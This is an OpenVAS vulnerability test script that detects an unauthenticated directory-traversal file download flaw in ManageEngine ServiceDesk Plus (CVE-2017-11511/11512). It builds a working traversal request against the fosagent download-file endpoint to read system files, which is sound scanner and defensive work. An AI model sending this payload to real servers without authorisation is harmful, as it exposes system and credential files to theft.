ManageEngine ServiceDesk Plus Multiple Vulnerabilities

2017-11-09T00:00:00
ID OPENVAS:1361412562310140496
Type openvas
Reporter This script is Copyright (C) 2017 Greenbone Networks GmbH
Modified 2019-06-24T00:00:00

Description

ManageEngine ServiceDesk Plus is prone to multiple arbitrary file download vulnerabilities.

                                        
                                            ##############################################################################
# OpenVAS Vulnerability Test
#
# ManageEngine ServiceDesk Plus Multiple Vulnerabilities
#
# Authors:
# Christian Kuersteiner <christian.kuersteiner@greenbone.net>
#
# Copyright:
# Copyright (c) 2017 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:zohocorp:manageengine_servicedesk_plus";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140496");
  script_version("2019-06-24T11:38:56+0000");
  script_tag(name:"last_modification", value:"2019-06-24 11:38:56 +0000 (Mon, 24 Jun 2019)");
  script_tag(name:"creation_date", value:"2017-11-09 15:13:18 +0700 (Thu, 09 Nov 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2017-11511", "CVE-2017-11512");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("ManageEngine ServiceDesk Plus Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("This script is Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_manageengine_servicedesk_plus_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("manageengine/servicedesk_plus/detected");

  script_tag(name:"summary", value:"ManageEngine ServiceDesk Plus is prone to multiple arbitrary file download
  vulnerabilities.");

  script_tag(name:"insight", value:"ServiceDesk provides an interface for unauthenticated remote users to
  download files and snapshots. Due to the lack of validation an attacker can use this to traverse directories and
  download arbitrary files.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.tenable.com/security/research/tra-2017-31");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port =  get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern (keys(files)) {
  file = files[pattern];
  url = dir + '/fosagent/repl/download-file?basedir=4&filepath=' + crap(data: "..\", length: 10*3) + file;
  if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {
    report = report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);